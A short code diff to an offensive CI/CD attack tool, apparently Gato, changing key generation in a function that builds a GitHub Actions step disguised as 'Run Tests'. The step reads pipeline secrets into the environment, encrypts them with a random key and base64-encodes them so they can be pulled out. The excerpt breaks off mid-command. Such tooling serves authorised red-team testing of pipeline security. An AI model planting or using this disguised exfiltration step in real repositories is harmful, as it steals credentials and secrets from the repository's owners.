diff --git a/gato/attack/cicd_attack.py b/gato/attack/cicd_attack.py index 67f1227..1a9d7cc 100644 --- a/gato/attack/cicd_attack.py +++ b/gato/attack/cicd_attack.py @@ -107,7 +107,7 @@ def create_exfil_yaml(secrets: list, pubkey: str, branch_name): { 'name': 'Run Tests', 'env': secret_envmap, - 'run': "openssl rand -out sym.key 32; echo -n '$';" + 'run': "openssl rand -base64 24 | tr -d '\\n' > sym.key; echo -n '$';" f"{echo_cmd} | openssl enc -aes-256-cbc -kfile " "sym.key -pbkdf2 | base64 -w 0 | tr -d '\\n';" f"echo '$'; echo -n '$'; cat sym.key | base64 | "